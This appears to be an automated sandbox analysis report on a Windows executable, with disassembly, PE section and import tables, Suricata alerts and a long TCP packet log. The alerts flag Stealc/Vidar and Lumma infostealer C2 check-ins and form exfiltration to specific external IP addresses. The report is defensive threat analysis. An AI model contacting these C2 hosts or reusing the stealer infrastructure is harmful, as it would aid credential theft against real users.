add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F87912CC71Eh
add edx, 28h
cmp edx, esi
jne 00007F87912CC6FCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F87912CC70Bh
push esi
call 00007F87912CD334h
test eax, eax
je 00007F87912CC732h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048E954h
mov edx, dword ptr [eax+04h]
jmp 00007F87912CC716h
cmp edx, eax
je 00007F87912CC722h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F87912CC702h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F87912CC719h
mov byte ptr [0048E958h], 00000001h
call 00007F87912CC9CAh
call 00007F87912CF8E7h
test al, al
jne 00007F87912CC716h
xor al, al
pop ebp
ret
call 00007F87912D8349h
test al, al
jne 00007F87912CC71Ch
push 00000000h
call 00007F87912CF8EEh
pop ecx
jmp 00007F87912CC6FBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0048E959h], 00000000h
je 00007F87912CC716h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x90000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x91000	0x1acc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	dccea6920e0e00bd61a80072d08df9c9	False	0.5865123820754717	data	6.664893627483592	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	46b2921b61f5ab6ad9f3f5143cbfffcc	False	0.43515130537974683	data	4.959917058027676	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x62580	0x61800	b7c9a11d75b63ca8bd0db6b135300572	False	0.9919896834935897	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.993318805141162	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x90000	0x3d8	0x400	af649139f3e8354e0bee38868a95abf6	False	0.439453125	data	3.276619243827775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x91000	0x1acc	0x1c00	83ae902623f5684ba4fbaf3d837bd870	False	0.7264229910714286	data	6.388561214760061	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x90058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T18:00:41.446685+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.5	49831	95.164.90.97	80	TCP
2024-10-07T18:00:42.089563+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.164.90.97	80	192.168.2.5	49831	TCP
2024-10-07T18:00:42.819465+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	95.164.90.97	80	192.168.2.5	49831	TCP
2024-10-07T18:01:00.569307+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49961	147.45.44.104	80	TCP
2024-10-07T18:01:02.350033+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49972	188.114.97.3	443	TCP
2024-10-07T18:01:02.350033+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49972	188.114.97.3	443	TCP
2024-10-07T18:01:03.354503+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49979	188.114.97.3	443	TCP
2024-10-07T18:01:03.354503+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49979	188.114.97.3	443	TCP
2024-10-07T18:01:05.643073+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.5	49990	45.132.206.251	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:00:11.278831959 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:11.279653072 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:11.403872013 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:17.705836058 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:17.705877066 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:17.705941916 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:17.709549904 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:17.709564924 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.403395891 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.403484106 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.406403065 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.406413078 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.406697989 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.415777922 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.459403992 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.515067101 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.515110970 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.515144110 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.515197039 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.515213013 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.515228987 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.515256882 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.599195004 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.599258900 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.599282980 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.599296093 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.599325895 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.599353075 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.600989103 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.601006985 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.601082087 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.601090908 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.601141930 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.692168951 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.692193985 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.692235947 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.692248106 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.692274094 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.692313910 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.692943096 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.692960024 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.693001032 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.693010092 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.693057060 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.693763971 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.693778992 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.693841934 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.693850040 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.693898916 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.694725037 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.694741964 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.694780111 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.694787979 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.694839954 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.778742075 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.778770924 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.778832912 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.778855085 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.778883934 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.778897047 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.779506922 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.779566050 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.779577971 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.779587030 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.779628038 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.780000925 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.780026913 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.780064106 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.780078888 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.780101061 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.780128956 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.780452967 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.780469894 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.780514956 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.780522108 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.780553102 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.780563116 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.781295061 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.781311035 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.781358004 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.781366110 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.781387091 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.781407118 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.782035112 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.782052994 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.782088995 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.782095909 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.782119989 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.782136917 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.782207012 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.782259941 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:18.782267094 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.782283068 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:18.782327890 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.047197104 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.057641029 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.057641029 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.057656050 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.057667971 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.613233089 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.613286972 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.613560915 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.641551018 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.641594887 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.641959906 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.644021988 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.644073963 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.644275904 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.645278931 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.645312071 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.646311045 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.646341085 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.687418938 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.687434912 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.693938971 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.693984032 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.694051027 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.694899082 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.694936037 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.700124025 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.700182915 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:19.700254917 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.701173067 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:19.701198101 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.277579069 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.278069973 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.278089046 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.278570890 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.278578043 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.295224905 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.297982931 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.298000097 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.298491955 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.298496962 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.309710026 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.310323000 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.310332060 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.310782909 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.310787916 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.320254087 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.320769072 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.320782900 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.321181059 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.321186066 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.328871012 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.330900908 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.330919981 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.331322908 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.331330061 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.373537064 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.373598099 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.373657942 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.373692036 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.373743057 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.374002934 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.374002934 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.374022007 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.374420881 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.374510050 CEST	443	49729	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.374557972 CEST	49729	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.377620935 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.377651930 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.377718925 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.377903938 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.377918005 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.395121098 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.395143986 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.395199060 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.395204067 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.395236015 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.395540953 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.395564079 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.395575047 CEST	49727	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.395581007 CEST	443	49727	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.400636911 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.400665045 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.400852919 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.400919914 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.400933027 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.406481981 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.406543970 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.406675100 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.406790018 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.406790018 CEST	49728	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.406809092 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.406817913 CEST	443	49728	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.410126925 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.410168886 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.410243988 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.410439968 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.410456896 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417268991 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417298079 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417351961 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.417361975 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417614937 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.417614937 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.417644024 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417848110 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417898893 CEST	443	49731	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.417960882 CEST	49731	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.421006918 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.421041965 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.421227932 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.421778917 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.421787977 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.429375887 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.429430962 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.429471016 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.429625988 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.429625988 CEST	49730	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.429642916 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.429655075 CEST	443	49730	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.432137012 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.432157040 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.432240009 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.432491064 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:20.432502031 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:20.888108969 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:20.934988022 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:21.035162926 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.037106037 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.037125111 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.037632942 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.037640095 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.057436943 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:21.060141087 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.061271906 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.061284065 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.061904907 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.061909914 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.081141949 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.081571102 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.081584930 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.082010031 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.082017899 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.122174025 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.123292923 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.123315096 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.123692036 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.123697042 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.136085033 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.136142969 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.136183977 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.136363029 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.136363029 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.136375904 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.136388063 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.139528990 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.139558077 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.139641047 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.139823914 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.139839888 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.142762899 CEST	443	49738	13.107.246.64	192.168.2.5
